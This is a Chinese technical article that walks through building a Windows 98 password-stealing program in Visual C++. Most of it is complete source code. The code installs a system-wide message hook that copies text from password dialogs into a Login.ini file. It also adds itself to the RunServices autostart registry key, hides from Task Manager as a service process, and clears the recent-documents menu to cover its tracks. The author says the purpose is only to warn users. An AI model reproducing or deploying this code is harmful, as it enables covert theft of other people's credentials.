摘 要:本文简单介绍如何采用Visual c++ 语言,利用钩子函数截取Windows应用程序或文件口令,并以此说明windows存在的安全隐患。
关键词:密码、钩子函数、DLL、后台进程
一、引言
在计算机发展的今天,安全性是衡量信息系统的一个重要指标,也是信息系统中的一个重要课题。在我国指纹识别和条码识别尚不能普及的情况下,程序编制者为了维护系统的安全在程序中经常使用口令来验证使用者是否是合法用户,以此来决定他能否有权使用计算机中的数据资源。这种做法曾一度被视为最安全最简单最有效,于是用户也喜欢经常的变换口令,设置口令,在他们看来有了密码口令,就像有了保护神,一夫当关万夫莫开。于是系统中就出现了各种各样的口令,如文件口令(象Word 、Excel、Access、Zip 、Wps)、数据库访问口令、电子邮件账号口令、终端口令、以及个别应用程序的使用口令等等。一方面,这些口令给使用者记忆保存口令带来的很大的负担,另一方面一旦用户忘记了这些口令可能会给他们带来很大的麻烦。特别应当注意的是,如果有个别用心的人,在系统中安置一个类似于“黑客程序”(如Reveal)的小程序,就会轻而易举地取得用户口令,在这种情况下,用户口令丝毫不能保护他们的数据安全,本文就是结合上述问题谈谈Windows环境下一些口令设置程序设计的弊端。以此来提醒用户在使用口令的同时加强管理同样不可忽视。
二、设计思路
我们知道Windows应用程序经常使用口令对话框来输入密码,然后对输入的密码进行验证,一般的密码经常使用一些字符作为回显字符(如* % $ # @ ! ~ &^ ?),以此来表明使用者已经输入的字符数。这些对话框一般的都擦采用Windows中的ES_PASSWORD编辑框控件,一般程序编制者对编辑框的事件都不响应,采用Windows 默认的事件驱动。这样就造成了安全隐患,如果我们在程序中对当前系统的所有可见窗口进行遍历,如果发现控件的文本属性包含密码或口令,以及PASSWORD文本,就认为系统要求输入密码,不管是否是ES_PASSWORD风格,这样非ES_PASSWORD密码对话框,也可以进行截获,只要使用GetWindowsText(hWnd)就可轻而易举地取得用户输入的口令。我们知道每一个windows消息传递都经过钩子函数,通过钩子函数我们很容易拦截窗口的WM DESTROY消息,然后通过API 调用获得其密码。下面分几个方面,具体谈谈如何用钩子函数取得用户输入的口令。
(一)钩子函数
钩子函数是系统消息处理机制的一个入口点,通过它应用程序可以安装一个例程,来监视系统的消息传递路线,对某种特定的消息在传递到目标窗口之前进行响应。
(1)钩子函数的安装 ——SetWindowsHookEx
SetWindowsHookEx 函数用于安装一个应用程序定义的钩子例程到钩子链中,你可以安装一个钩子例程来监视系统中的某些事件,这些事件既可以与某一特定的线程有关,也可以与系统中的所有线程有关。 HHOOK SetWindowsHookEx( int idHook, // 要安装的钩子类型 HOOKPROC lpfn, // 钩子例程的入口地址 HINSTANCE hMod, // 应用程序的事例句柄 DWORD dwThreadId // 安装钩子的线程标识 ); 参数: idHook 指定要安装的钩子类型,这个参数可以是下列值
值 |
描述 |
WH_CALLWNDPROC |
安装一个钩子例程监视传递给目标窗口例程之前的消息。详细信息请参看 CallWndProc 钩子例程. |
WH_CALLWNDPROCRET |
安装一个钩子例程监视已被目标窗口例程处理之的消息。详细信息请参看 CallWndProcRet程. |
WH_CBT |
安装一个钩子例程接受与计算机训练有关的消息详细信息请参看CBTProc 钩子例程 |
WH_DEBUG |
安装一个钩子例程用于调试其他钩子例程 详细信息请参看 DebugProc 钩子例程 |
WH_FOREGROUNDIDLE |
安装一个钩子例程用于当应用程序前台线程空闲时被调用,这个钩子对于在系统空闲时运行一些低优先权的任务特别有用。详细信息请参看 ForegroundIdleProc 钩子例程 |
WH_GETMESSAGE |
安装一个钩子例程用于监视加入到消息队列中的消息。详细信息请参看 GetMsgProc 钩子例程 |
WH_JOURNALPLAYBACK |
安装一个钩子例程用于投递先前被WH_JOURNALRECORD 钩子记录的消息,详细信息请参看JournalPlaybackProc 钩子例程 |
WH_JOURNALRECORD |
安装一个钩子例程用于记录投递系统消息队列的输入消息,这个钩子对于记录宏特别有用,详细信息请参看JournalRecordProc钩子例程 |
WH_KEYBOARD |
安装一个钩子例程用于监视键盘击打消息,详细信息请参看KeyboardProc钩子例程 |
WH_KEYBOARD_LL |
Windows NT: 安装一个钩子例程用于监视低级别的键盘输入事件,详细信息请参看LowLevelKeyboardProc钩子例程 |
WH_MOUSE |
安装一个钩子例程用于监视鼠标消息,详细信息请参看MouseProc 钩子例程 |
WH_MOUSE_LL |
Windows NT: 安装一个钩子例程用于监视低级别的鼠标输入事件,详细信息请参看LowLevelMouseProc 钩子例程 |
WH_MSGFILTER |
安装一个钩子例程用于监视由对话框消息框菜单或者滚动条输入事件产生的消息,详细信息请参看MessageProc 钩子例程 |
WH_SHELL |
安装一个钩子例程用于接受对外壳应用程序有用的通知消息,详细信息请参看ShellProc 钩子例程 |
WH_SYSMSGFILTER |
安装一个钩子例程用于监视由对话框消息框菜单或者滚动条输入事件产生的消息,这个钩子将监视系统同中所有的应用程序中的所有消息详细信息请参看SysMsgProc 钩子例程 | lpfn 钩子例程的指针. 如果线程dwThreadId 参数为零或者为不同进程产生的线程识别码, lpfn 参数必须为指向动态连接库(.dll)中的钩子例程的指针。 否则,lpfn 则可指向当前进程有关的代码中的钩子例程。 hMod 包含由lpfn 参数指定的内含钩子例程的动态连接库的柄。如果dwThreadId 指定了当前进程产生的线程标示码,或者钩子例程在当前进程的代码范围内,此值必须为空(NULL) dwThreadId 指定与钩子函数有关的线程识别码,如果此值为零,那么钩子函数降雨所有存在线程有关。 返回值 如果执行成功将返回钩子例程的柄。 否则,将返回NULL值,可以通过GetLastError()获得扩展的错误信息。 钩子使用的范围依赖钩子的类型,一些钩子只能在系统的范围内,而另一些既可以在系统的范围内又可以在线程范围内。先列表如下
钩子类型 |
使用范围 |
WH_CALLWNDPROC |
系统或线程 |
WH_CALLWNDPROCRET |
系统或线程 |
WH_CBT |
系统或线程 |
WH_DEBUG |
系统或线程 |
WH_FOREGROUNDIDLE |
系统或线程 |
WH_GETMESSAGE |
系统或线程 |
WH_JOURNALPLAYBACK |
系统 |
WH_JOURNALRECORD |
系统 |
WH_KEYBOARD |
系统或线程 |
WH_KEYBOARD_LL |
系统或线程 |
WH_MOUSE |
系统或线程 |
WH_MOUSE_LL |
系统或线程 |
WH_MSGFILTER |
系统或线程 |
WH_SHELL |
系统或线程 |
WH_SYSMSGFILTER |
系统 | (2)卸载钩子例程——UnhookWindowsHookEx UnhookWindowsHookEx 函数用于卸载由SetWindowsHookEx 函数创建的钩子链例程 BOOL UnhookWindowsHookEx( HHOOK hhk // 要去除的钩子例程的柄 ); 参数 hhk 要去除的钩子例程的柄. 这个参数通过先前调用SetWindowsHookEx. 获得。 返回值 成功返回非零。 失败返回零值 可通过GetLastError.()获得错误信息。 (3)调用钩子函数链中的下一个钩子函数 ——CallNextHookEx: CallNextHookEx 函数用于向当前钩子链下一个钩子例程传递钩子信息,一个钩子例程既可以在钩子信息处理前也可以在钩子信息处理后点用这个函数。 LRESULT CallNextHookEx(
HHOOK hhk, // 当前钩子的柄
int nCode, // 传递到钩子例程的钩子代码
WPARAM wParam, // 传递给钩子例程的值
LPARAM lParam // 传递给钩子例程的值
); 参数: hhk 当前钩子的柄. 应用程序接受这个柄,作为先前调用SetWindowsHookE函数的结果 nCode 指定传递到当前钩子例程的钩子代码,下一个钩子例程使用这个代码以此决定如何处理钩子信息 wParam 指定传递给钩子例程的wParam 参数值 ,参数值的具体含义与当前钩子链的挂接的钩子类型有关 lParam 指定传递给钩子例程的wParam 参数值 ,参数值的具体含义与当前钩子链的挂接的钩子类型有关 返回值: 返回值是链中下一个钩子例程返回的值,当前钩子例程必须返回这个值,返回值的具体含义与挂接的钩子类型有关,详细信息请参看具体的钩子例程描述。 调用CallNextHookEx函数是可选的,但是系统强烈推荐你调用这个函数,否则,一些安装钩子的其它应用程序将因为无法收到钩子信息导致无法正常运行,你应该调用这个函数除非你不想让其他应用程序收到通知消息。
(4)CallWndProc钩子例程
CallWndProc钩子例程是应用程序定义的或者动态连接库用SetWindowsHookEx定义的回调函数。当SendMessage函数被调用时,系统将调用着这个例程。在消息传递个目标窗口之前,系统先将消息传递给钩子例程,钩子例程可以检查这个消息,但不能修改它。 LRESULT CALLBACK CallWndProc( int nCode, // 钩子代码 WPARAM wParam, // 当前进程标志 LPARAM lParam // 带有消息数据的结构地址 ); 参数: nCode 指明钩子例程是否必须处理消息。如果nCode值为HC_ACTION,钩子例程必须处理消息,若nCode值小于零,钩子例程必须传递消息给CallNextHookEx函数,而不能做进一步的处理,而且必须由CallNextHookEx函数返回值。 wParam 确定消息是否已被当前线程发送,若已被当前线程发送,此值为非零,否则为零。 lParam 包含消息细节的 CWPSTRUCT 结构指针 返回值:如果nCode小于零,钩子例程必须由CallNextHookEx函数返回值。如果nCode大于等于零,推荐你调用CallNextHookEx返回它返回的值。否则其它安装了WH_CALLWNDPROC 钩子的应用程序将无法收到钩子的通知消息而无法正常运行。如果钩子不调用CallNextHookEx函数,此值应该为零。
应用程序通过调用SetWindowsHookEx函数安装指定WH_CALLWNDPPROC类型,安装钩子例程。 (二)登记服务进程——RegisterServiceProcess 通过RegisterServiceProcess函数可以登记服务进程,也可以取消登记服务进程。服务进程就像一个后台程序,它在系统背后运行,无法从任务管理器察看,但可以从系统信息中工具察看。一个服务进程一直持续运行到用户注销为止。 调用RegisterServiceProcess函数必须通过GetProcAddress函数取得Kernel32.dll 库中函数指针。 DWORD RegisterServiceProcess( DWORD dwProcessId, DWORD dwType ); 参数: dwProcessId 指明登记为服务进程的进程标示,NULL指定为当前进程。 dwType 指明进程是要进行登记,还是要取消登记,它可以为下列值:
值 |
含义 |
0 |
取消登记进程为服务进程 |
1 |
登记进程为服务进程 | 返回值:
1:执行成功 0:执行失败.
(三)清除文档菜单下的内容; 调用SHELL32.DLL中的SHAddToRecentDocs函数 void SHAddToRecentDocs(int ,long) 第一个参数为零,第二个参数为NULL时,将清除文档菜单下的内容。 (四)程序编制 1.利用MFC AppWizzard (.DLL)创建一个新工程HOOKDLL,动态连接库类型采用MFC Extension DLL[using shared MFC dll] 2.在PASSWORD.CPP文件头加入下列语句 .... #pragma data_seg ("Shared")
static HWND hWnd=NULL;
static HHOOK hHook=NULL;
static HINSTANCE hInst=NULL;
#pragma data_seg ( )
#pragma comment(linker, "/section:Shared,rws")
... 3.在下列语句static AFX_EXTENSION_MODULE PASSWORDDLL = { NULL, NULL };
extern "C" __declspec(dllexport) LRESULT WINAPI HookProc(int nCode,WPARAM wParam,LPARAM lParam);
4.在下列语句 new CDynLinkLibrary(HookDllDLL)之后加入
hInst=hInstance; 5.在文件尾输入类函数 CHook::CHook()
{
}
CHook::~CHook()
{HookUninstaller();
}
HHOOK CHook::HookInstaller()
{
hHook=SetWindowsHookEx(WH_CALLWNDPROC ,HookProc,hInst,0);
return hHook;
}
BOOL CHook::HookUninstaller()
{ BOOL bSuccessfulUnhook;
if(hHook)
{
bSuccessfulUnhook=UnhookWindowsHookEx(hHook);
if (bSuccessfulUnhook)
{
hHook=NULL;
}
}
return bSuccessfulUnhook;
}
extern "C" __declspec(dllexport) LRESULT WINAPI HookProc(int nCode,WPARAM wParam,LPARAM lParam)
{ DWORD dwStyle;
char szTitle[128]="\0";
HWND hParent,hSib,hWnd;
char szCls[128]="\0";
char szTemp[128]="\0";
bool bFindPassword=false;
if(nCode<0)return CallNextHookEx(hHook,nCode,wParam,lParam);
if (nCode != HC_ACTION) return CallNextHookEx(hHook,nCode,wParam,lParam);
CWPSTRUCT * pmsg=(CWPSTRUCT *)lParam;
switch (pmsg->message)
{
case WM_DESTROY://拦截WM_DESTROY消息,其他消息返回。
dwStyle=(DWORD)GetWindowLong(pmsg->hwnd,GWL_STYLE);
hWnd=pmsg->hwnd ;
hSib=GetWindow(hWnd,GW_HWNDFIRST);
while((hSib)&&(hSib!=GetParent(hWnd)))//遍历当前窗口及其子窗口,如发现某一窗口或子窗口保含口令、密码、或password,就认为为口令对话框
{ GetWindowText(hSib,(LPSTR) szTemp,sizeof(szTemp));
CString strText=szTemp;
strText.MakeLower ();
if ((strText.Find("口令")!=-1)||(strText.Find("密码")!=-1)||(strText.Find("password")!=-1))
bFindPassword=true;
hSib=GetWindow(hSib,GW_HWNDNEXT);
}
GetWindowText(hWnd,(LPSTR) szTemp,sizeof(szTemp));
CString strText=szTemp;
if ((strText.Find("口令")!=-1)||(strText.Find("密码")!=-1))
bFindPassword=true;
if (!bFindPassword) return CallNextHookEx(hHook,nCode,wParam,lParam);
if((strText=="")||(strText=="Program Manager"))return CallNextHookEx(hHook,nCode,wParam,lParam);//对程序管理器窗口返回
CTime t = CTime::GetCurrentTime();
CString szDateTime = t.Format( "%Y年%m月%d日%H时%M分%S秒" );
if(strText=="密码") //针对WORD 97、Excel 97单独处理,WORD 2000、EXCEL 2000未尝试
{hSib=GetWindow(hWnd,GW_CHILD);
GetWindowText(hSib,(LPSTR) szTemp,sizeof(szTemp));
hParent=hWnd;
while (GetParent(hParent)) hParent=GetParent(hParent);
GetWindowText(hParent,(LPSTR) szTitle,sizeof(szTitle));
WritePrivateProfileString(szDateTime,"应用程序标题",szTitle,"Login.ini"); GetClassName(hWnd,szCls,sizeof(szCls));
WritePrivateProfileString(szDateTime,szCls,szTemp,"Login.ini");
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
GetClassName(hSib,szCls,sizeof(szCls));
WritePrivateProfileString(szDateTime,szCls,szTemp,"Login.ini");
hParent=hWnd;
while (GetParent(hParent)) hParent=GetParent(hParent);
GetWindowText(hParent,(LPSTR) szTitle,sizeof(szTitle));
WritePrivateProfileString(szDateTime,"应用程序标题",szTitle,"Login.ini");
hSib=GetWindow(hWnd,GW_HWNDFIRST);
int i=1;
while((hSib)&&(hSib!=GetParent(hWnd)))
{
GetClassName(hSib,szCls,sizeof(szCls));
CString szTempKey ;
GetWindowText(hSib,(LPSTR) szTemp,sizeof(szTemp));
szTempKey .Format("%s_%d",szCls, i);
i++;
dwStyle=(DWORD)GetWindowLong(hSib,GWL_STYLE);
if (IsWindowVisible(hSib)&&(szTemp!=""))
{
WritePrivateProfileString(szDateTime,szTempKey,szTemp,"Login.ini");
}
hSib=GetWindow(hSib,GW_HWNDNEXT);
}
break;
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
} 6.在文件头加入#include "password.h" 7.生成一个password.h新文件,并输入一下内容 #ifndef _PASSWORD_H
#define _PASSWORD_H
class AFX_EXT_CLASS CHook:public CObject
{
public :
CHook();
~CHook();
HHOOK HookInstaller();
BOOL HookUninstaller();
};
#endif
8.编译连接成PASSWORD.DLL文件 9.在当前工作区插入一个新工程GetPassword 在MFC AppWizzard (.exe)中选择基于对话框、无关于对话框、无3D控件、不支持ActiveX控件 10.删除对话框资源、删除GetPassworddlg.h 、GetpasswordDlg.cpp文件 11.打开GetPassword.h文件 #include "..\password.h" 在class CGetPasswordApp : public CWinApp
{
public:
CGetPasswordApp();
CHook m_hook;
HINSTANCE hInstDll;
加入粗体字部分 12.打开GetPassword.cpp文件在// CGetPasswordApp construction之后输入
typedef DWORD (__stdcall * FREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef void (__stdcall * FSHADDRORECENTDOCS)(int,long);
FREGISTERSERVICEPROCESS fnRegisterServiceProcess = NULL;
FSHADDRORECENTDOCS fnSHAddToRecentDocs = NULL; 将下列程序段 BOOL CGetPasswordApp::InitInstance()
{
// Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.
CGetPasswordDlg dlg;
m_pMainWnd = &dlg;
int nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
// TODO: Place code here to handle when the dialog is
// dismissed with OK
}
else if (nResponse == IDCANCEL)
{
// TODO: Place code here to handle when the dialog is
// dismissed with Cancel
}
// Since the dialog has been closed, return FALSE so that we exit the
// application, rather than start the application's message pump.
return FALSE;
}
替换为
BOOL CGetPasswordApp::InitInstance()
{ hInstDll=LoadLibrary("Shell32.dll");
if(!hInstDll) return (FALSE);
fnSHAddToRecentDocs=(FSHADDRORECENTDOCS)GetProcAddress(hInstDll,_T("SHAddToRecentDocs"));
fnSHAddToRecentDocs(0,NULL);
FreeLibrary(hInstDll);
CString FileName=GetCommandLine();
FileName.TrimRight();
FileName.TrimRight('"');
FileName.TrimLeft('"');
DWORD dwValueType=REG_SZ;
DWORD dwStrCb=128;
HKEY hKey=NULL;
DWORD dwDisposition;
LPTSTR lpszFileName = new TCHAR[FileName.GetLength()+1];
_tcscpy(lpszFileName, FileName);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices"),0,KEY_QUERY_VALUE|KEY_SET_VALUE,&hKey)!=ERROR_SUCCESS)
{ if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices"),0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,
NULL, &hKey, &dwDisposition)!=ERROR_SUCCESS)
return (FALSE);
}
if (RegQueryValueEx(hKey,"口令截取程序",0,&dwValueType,(LPBYTE)lpszFileName,&dwStrCb)!=ERROR_SUCCESS)
{
if (RegSetValueEx(hKey,"口令截取程序",0,REG_SZ,(CONST BYTE *)lpszFileName,dwStrCb)!=ERROR_SUCCESS)
{RegCloseKey(hKey);
return (FALSE);
}
}
RegCloseKey(hKey);
fnRegisterServiceProcess= (FREGISTERSERVICEPROCESS) GetProcAddress(GetModuleHandle("KERNEL32.DLL"),_T("RegisterServiceProcess"));
if (!fnRegisterServiceProcess) return(FALSE);
if (fnRegisterServiceProcess(NULL,1)==0)return FALSE;
m_hook.HookInstaller();
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (msg.wParam);
}
13.使用ClassWizzard 加入CGetPasswordApp ExitInstance虚拟函数
int CGetPasswordApp::ExitInstance()
{ fnRegisterServiceProcess= (FREGISTERSERVICEPROCESS) GetProcAddress(GetModuleHandle("KERNEL32.DLL"),_T("RegisterServiceProcess"));
if (fnRegisterServiceProcess==NULL) return(FALSE);
if((fnRegisterServiceProcess)(NULL,0)==0)return (FALSE);
return CWinApp::ExitInstance();
} 加入斜体部分 14.查找所有文件寻找#include "GetPasswordDlg.h"语句,将其删除。 15.设置完password.lib 连接路径,将编译好的password.dll拷贝到可执行文件子目录,编译连接即可 (四)程序说明 程序主要由一个PASSWORD.dll和一个加载程序GetPassword.exe组成,其中动态连接库主要完成钩子函数的安装和卸载,它由一输出类完成。加载程序主要完成动态连接库的加载,系统的初始化,以及每次启动时清除文档菜单下的内容。运行该程序后,以后开机程序将自动加载,后台运行,当用户建立、修改、输入密码时,程序将会把输入的内容以及兄弟窗口的内容连同父窗体的标题一同记入windows 下的LOGIN.ini文件,下次开机其它用户无法从文档菜单发现LOGIN.ini 踪迹, 从而隐蔽该程序。程序卸载需要打开注册编辑器,删除HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices下的“口令截取程序”即可,然后删除上述两个文件。重新启机即可。对文件密码程序无法记载文件名,可以根据文件属性中的访问日期,以及文件类别,结合LOGIN.INI 中的密码生成日期,及窗口标题,判断密码。 由于这种方法判断密码对话框,不太准确,login.ini文件中会存储很多无用信息,如读者感兴趣,可以对程序进行完善,滤除无用信息. (五)补充说明 本程序在windows 98环境下,用Visual C++6.0开发,作者通过此程序并不是让用户窃取别人文件口令,只是为了提醒用户,单纯的口令并不能保证系统的安全,重要的文档还是要妥善保存。
|